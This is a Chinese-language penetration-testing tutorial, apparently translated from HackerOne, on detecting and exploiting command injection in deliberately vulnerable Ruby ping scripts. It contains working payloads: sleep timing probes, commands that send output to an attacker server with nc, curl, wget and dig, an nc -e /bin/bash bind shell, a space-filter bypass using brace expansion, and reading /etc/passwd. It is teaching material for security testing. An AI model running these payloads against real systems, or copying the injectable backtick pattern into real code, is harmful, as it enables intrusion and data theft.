命令注入是一种常见的漏洞形态。一旦存在命令注入漏洞,攻击者就可以在目标系统执行任意命令。说到这里,我们不得不提另外一个叫做远程代码执行(RCE)的漏洞——许多人总会把这两个漏洞混淆,其实它们是有本质的区别的。

命令执行只是针对系统命令,而远程代码执行针对的是编程代码,两者互不能替换。下面让我来通过实例向大家演示如何挖掘及利用它。

配置

我们首先编写两个简单的用于在本地测试的Ruby脚本,当前我使用的Ruby版本为2.3.3p222。下面是我的ping.rb脚本:

puts `ping -c 4 #{ARGV[0]}`

该脚本将会ping以参数形式传递过来的服务器,并将结果输出在屏幕上。以下是输出内容:

$ ruby ping.rb '8.8.8.8' PING 8.8.8.8 (8.8.8.8): 56 data bytes 64 bytes from 8.8.8.8: icmp_seq=0 ttl=46 time=23.653 ms 64 bytes from 8.8.8.8: icmp_seq=1 ttl=46 time=9.111 ms 64 bytes from 8.8.8.8: icmp_seq=2 ttl=46 time=8.571 ms 64 bytes from 8.8.8.8: icmp_seq=3 ttl=46 time=20.565 ms
 
--- 8.8.8.8 ping statistics --- 4 packets transmitted, 4 packets received, 0.0% packet loss
round-trip min/avg/max/stddev = 8.571/15.475/23.653/6.726 ms

可以看到系统执行了ping -c 4 8.8.8.8这条命令,并在屏幕上显示输出。下面是另一个我们在本文中需要使用到的脚本:server-online.rb

puts `ping -c 4 #{ARGV[0]}`.include?('bytes from') ? 'yes' : 'no'

该脚本将根据ICMP响应(ping)来确定服务器是否处于存活状态。如果它响应ping请求,屏幕上将显示yes。如果没有,它将显示no。命令输出的详细信息将不会显示给用户,如下:

$ ruby server-on.rb '8.8.8.8' yes $ ruby server-on.rb '8.8.8.7' no

测试

检测一阶命令注入的最佳方式是尝试执行一个sleep命令,并观察其执行时间是否增加。我们来创建一个基于时间线的ping.rb脚本:

$ time ruby ping.rb '8.8.8.8' PING 8.8.8.8 (8.8.8.8): 56 data bytes
... 0.09s user 0.04s system 4% cpu 3.176 total

执行脚本大约需要3秒钟的时间,我们来看看该脚本是否存在sleep命令注入。

$ time ruby ping.rb '8.8.8.8 && sleep 5' PING 8.8.8.8 (8.8.8.8): 56 data bytes
... 0.10s user 0.04s system 1% cpu 8.182 total

现在我们来对比下两次的执行时间。可以看到时间从〜3秒跳到〜8秒,刚好增加了5秒。为了排除互联网延迟的可能,建议大家可以重复测试对比。

我们再来测试下server-online.rb脚本是否也存在同样的问题。

$ time ruby server-online.rb '8.8.8.8' yes 0.10s user 0.04s system 4% cpu 3.174 total
$ time ruby server-online.rb '8.8.8.8 && sleep 5' yes 0.10s user 0.04s system 1% cpu 8.203 total

可以看到,相比正常的请求时间同样增加了5秒钟。

根据正在执行的命令,我们可以注入不同地注入sleep命令。以下是一些payloads,你可以在查找命令注入时进行尝试:

time ruby ping.rb '8.8.8.8`sleep 5`'

当一个命令被解析时,它首先会执行反引号之间的操作。例如执行echo `ls` 将会首先执行ls并捕获其输出信息。然后再将它传递给echo,并将ls的输出结果打印在屏幕上,这被称为命令替换。由于反引号之间的命令优先被执行,所以之后的命令即便执行失败也无关紧要。以下是payload注入及结果的命令表,注入的payload被标记为绿颜色。

命令 结果
ping -c 4 8.8.8.8`sleep 5` sleep命令被执行,命令替换在命令行中。
ping -c 4 “8.8.8.8`sleep 5`” sleep命令被执行,命令替换在复杂的字符串双引号之间。
ping -c 4 $(echo 8.8.8.8`sleep 5`) sleep命令被执行,命令替换在使用不同符号时(请参见下面的示例)。
ping -c 4 ’8.8.8.8`sleep 5`’ sleep命令不执行,命令替换在简单字符串中不起作用(单引号之间)。
ping -c 4 `echo 8.8.8.8`sleep 5“ sleep命令不执行,使用相同符号时命令替换不起作用。
time ruby ping.rb '8.8.8.8$(sleep 5)'

这是命令替换的不同符号。当反引号被过滤或编码时,可能会更有效。当使用命令替换来查找命令注入时,务必确保payload已被替换,避免出现上述表中的最后一种情况。

time ruby ping.rb '8.8.8.8; sleep 5'

命令按照顺序(从左到右)被执行,并且可以用分号进行分隔。当有一条命令执行失败时,不会中断其它命令的执行。以下是payload注入及结果的命令表,注入的payload被标记为绿颜色。

命令 结果
ping -c 4 8.8.8.8;sleep 5 sleep命令被执行,命令在命令行中顺序执行。
ping -c 4 “8.8.8.8;sleep 5″ sleep命令未被执行,附加命令被注入到一个字符串中,该字符串作为参数传递给ping命令。
ping -c 4 $(echo 8.8.8.8;sleep 5) sleep命令被执行,排序命令在命令替换中起作用。
ping -c 4 ’8.8.8.8;sleep 5′ sleep命令未被执行, 附加命令被注入到一个字符串中,该字符串作为参数传递给ping命令。
ping -c 4 `echo 8.8.8.8;sleep 5` sleep命令被执行,排序命令在命令替换中起作用。
time ruby ping.rb '8.8.8.8 | sleep 5'

除此之外我们还可以使用命令管道符,通过管道符可以将一个命令的标准输出管道为另外一个命令的标准输入。例如执行cat /etc/passwd | grep root这条命令时,它将捕获cat /etc/passwd的输出并将其传递给grep root,最终显示与root匹配的行。当第一条命令失败时,它仍然会执行第二条命令。以下是payload注入及结果的命令表,注入的payload被标记为绿颜色。

命令 结果
ping -c 4 8.8.8.8 | sleep 5 sleep命令被执行,管道输出在命令行正常执行。
ping -c 4 “8.8.8.8 | sleep 5″ sleep命令未被执行,附加命令被注入到一个字符串中,该字符串作为参数传递给ping命令。
ping -c 4 $(echo 8.8.8.8 | sleep 5) sleep命令被执行,管道输出在命令替换中起作用。
ping -c 4 ’8.8.8.8 | sleep 5′ sleep命令未被执行,附加命令被注入到一个字符串中,该字符串作为参数传递给ping命令。
ping -c 4 `echo 8.8.8.8 | sleep 5` sleep命令被执行,管道输出在命令替换中起作用。

利用

想要更好地利用这个漏洞,我们需要确定它是一个常规命令注入还是命令盲注。两者的区别在于,命令盲注不会在响应中返回命令的输出。常规的命令注入,将返回响应中执行命令的输出。通常sleep命令就可以为我们很好的判断。当然,除此之外你还可以使用更多的命令来进行验证,如执行id,hostnamewhoami。服务器的主机名可用于确定受影响的服务器数量。

重要:没有企业愿意让你窥探到他们的机密信息。在实际测试中利用该漏洞时,最好先取得目标企业的授权。如果仅仅是想要证明漏洞的危害,那么id,hostnamewhoami这些命令则已经足够。

常规命令注入利用

常规命令注入的利用非常简单:任何注入命令的输出都将返回给用户:

$ ruby ping.rb '8.8.8.8 && whoami' PING 8.8.8.8 (8.8.8.8): 56 data bytes 64 bytes from 8.8.8.8: icmp_seq=0 ttl=46 time=9.008 ms 64 bytes from 8.8.8.8: icmp_seq=1 ttl=46 time=8.572 ms 64 bytes from 8.8.8.8: icmp_seq=2 ttl=46 time=9.309 ms 64 bytes from 8.8.8.8: icmp_seq=3 ttl=46 time=9.005 ms
 
--- 8.8.8.8 ping statistics --- 4 packets transmitted, 4 packets received, 0.0% packet loss
round-trip min/avg/max/stddev = 8.572/8.973/9.309/0.263 ms
jobert

红色部分显示ping命令的输出。绿色文本输出whoami命令执行结果。

命令盲注利用

命令盲注输出将不会返回给用户,所以我们需要通过其它方法来提取输出。最直接的方法是将输出offload到你的服务器。我们只需在服务器上执行nc -l -n -vv -p 80 -k这条命令,并配置防火墙允许80端口入站连接。

接下来我们就可以使用nc,curl,wget,telnet或任何其他将数据发送工具,将输出发送给你的服务器:

$ ruby server-online.rb '8.8.8.8 && hostname | nc IP 80' yes

此时如果一切正常,我们就可以在我们的服务器上获取到hostname命令的输出信息:

$ nc -l -n -vv -p 80 -k
Listening on [0.0.0.0] (family 0, port 81)
Connection from [1.2.3.4] port 80 [tcp/*] accepted (family 2, sport 64225)
hacker.local

在上面的示例中,nc用于将命令的输出发送到你的服务器。但是,nc可能会被删除或无法执行。因此我们可以先通过以下测试命令,来判断目标服务器是否存在我们所需的命令工具。如果任何命令的执行时间增加了5秒,那么就证明该命令存在。

curl -h && sleep 5 wget -h && sleep 5 ssh -V && sleep 5 telnet && sleep 5

你可以使用任意一个命令将输出发送到你的服务器,如下所示:

whoami | curl http://your-server -d @- wget http://your-server/$(whoami) export C=whoami | ssh user@your-server (在你的服务器上设置用户帐户以进行身份验证无需密码,并记录每个正在执行的命令)

即使server-online.rb脚本不输出hostname命令结果,攻击者仍然可以获取输出信息。在某些情况下出站TCP和UDP连接会被阻止,但即便如此攻击者仍有可能成功提取到输出信息。

其实我们还可以利用sleep命令提取输出。这里的技巧是将命令的结果传递给sleep命令。这里我为大家举一个例子:sleep $(hostname | cut -c 1 | tr a 5),让我们来简单分析下。

  1. 我们执行的命令为hostname。我们假设它返回hacker.local。
  2. 它需要输出并将其传递给cut -c 1。这将选取hacker.local的第一个字符h。
  3. 接着通过tr命令将字符a替换为5。
  4. 然后将tr命令的输出传递给sleep命令,sleep h被执行将会立即出现报错,这是因为sleep后跟的参数智能为一个数字。然后,目标使用tr命令迭代字符。执行sleep $(hostname | cut -c 1 | tr h 5)命令,将需要5秒钟的时间。这样我们就可以确定第一个字符是一个h。以此类推,我们就能将完整的主机名猜解出来。

以下是我测试时使用的猜解命令及其结果:

命令 时间 结果
ruby server-online.rb ’8.8.8.8;sleep $(hostname | cut -c 1 | tr a 5)’ 3s -
ruby server-online.rb ’8.8.8.8;sleep $(hostname | cut -c 1 | tr h 5)’ 8s h
ruby server-online.rb ’8.8.8.8;sleep $(hostname | cut -c 2 | tr a 5)’ 8s a
ruby server-online.rb ’8.8.8.8;sleep $(hostname | cut -c 3 | tr a 5)’ 3s -
ruby server-online.rb ’8.8.8.8;sleep $(hostname | cut -c 3 | tr c 5)’ 8s c

如果想要知道目标主机名的长度,我们可以将主机名的输出通过管道符传递给wc -c命令。hacker.local为12个字符。hostname命令返回主机名和一个新行,因此wc -c将显示13个字符。经过我们测试,脚本的执行时间最短需要3秒钟。

$ time ruby server-online.rb '8.8.8.8 && sleep $(hostname | wc -c)' yes 0.10s user 0.04s system 0% cpu 16.188 total

可以看到以上的payload脚本共用时16秒才执行完成,这意味着主机名为12个字符:16 – 3 (基线) – 1 (新行) = 12个字符。当在Web服务器上执行此payload时,输出结果可能会有所不同:当请求由不同的服务器处理时,主机名的长度也可能会改变。

上述方法适用于较小的输出,但读取文件就可能需要花费较长的时间。如果出站连接被阻止并且长时间的无法读取输出,这里还有一些其他的技巧(在CTF中非常实用):

在服务器上执行端口扫描,并且基于暴露的服务确定提取输出的方式。

  • FTP:尝试将文件写入可以从中下载文件的目录。
  • SSH:尝试将命令的输出写入MOTD banner,然后只需SSH到服务器。
  • Web:尝试将命令的输出写入公共目录(/var/www/)中。

在外部可以访问的端口上生成一个shell(仅适用于自定义netcat构建):nc -l -n -vv -p 80 -e /bin/bash (unix) 或 nc -l -n -vv -p 80 -e cmd.exe (windows)。

使用dig或nslookup进行DNS查询,将输出发送到端口53(UDP): dig `hostname` @your-server  nslookup `hostname` your-server。可以使用服务器上的nc -l -n -vv -p 53 -u -k捕获输出。这可能会有效,因为通常出站DNS流量不会被阻止。具体查看这个推文如何使用dig offload文件内容。

在ping服务器offload数据时,请更改ICMP数据包大小。tcpdump可用于捕获数据。详情请查阅这个推文

当然除了以上介绍的这些方法还有许多其他的方法,具体还得取决于服务器为我们提供了哪些切入口!

绕过限制

如果目标系统的防护措施做得比较到位,那么上述方法可能就会失效。具我多年的经验总结发现,在这些防护措施中使用最多的就是对于payload中空格的限制。那么对于这类防护有没有什么好的绕过办法呢?有。这里我们就要用到一种叫做花括号扩展的东西,利用它我们就可以创建没有空格的有效载荷了。以下是ping-2.rb,它是ping.rb的升级版。在将用户输入传递给命令之前,它会从输入中删除空格。

puts `ping -c 4 #{ARGV[0].gsub(/\s+?/,'')}`

当我们将8.8.8.8 && sleep 5作为参数时,它将执行ping -c 4 8.8.8.8 && sleep5,这将导致一个错误,将会显示没有找到命令sleep5。这里我们就可以使用大括号扩展来有效解决:

$ time ruby ping-2.rb '8.8.8.8;{sleep,5}' ... 0.10s user 0.04s system 1% cpu 8.182 total

以下payload会将命令的输出发送到外部服务器,并且没有使用任何空格:

$ ruby ping.rb '8.8.8.8;hostname|{nc,192.241.233.143,81}' PING 8.8.8.8 (8.8.8.8): 56 data bytes
...

我们还可以读取/etc/passwd下的内容:

$ ruby ping.rb '8.8.8.8;{cat,/etc/passwd}' PING 8.8.8.8 (8.8.8.8): 56 data bytes 64 bytes from 8.8.8.8: icmp_seq=0 ttl=46 time=9.215 ms 64 bytes from 8.8.8.8: icmp_seq=1 ttl=46 time=10.194 ms 64 bytes from 8.8.8.8: icmp_seq=2 ttl=46 time=10.171 ms 64 bytes from 8.8.8.8: icmp_seq=3 ttl=46 time=8.615 ms
 
--- 8.8.8.8 ping statistics --- 4 packets transmitted, 4 packets received, 0.0% packet loss
round-trip min/avg/max/stddev = 8.615/9.549/10.194/0.668 ms ## # User Database # # Note that this file is consulted directly only when the system is running # in single-user mode. At other times this information is provided by # Open Directory. ...

作为程序开发人员,应当清楚的了解和掌握命令注入漏洞的利用及防护手段。只有这样才能避免此类问题的产生,维护企业和用户的利益。

*参考来源:hackerone,FB小编 secist 编译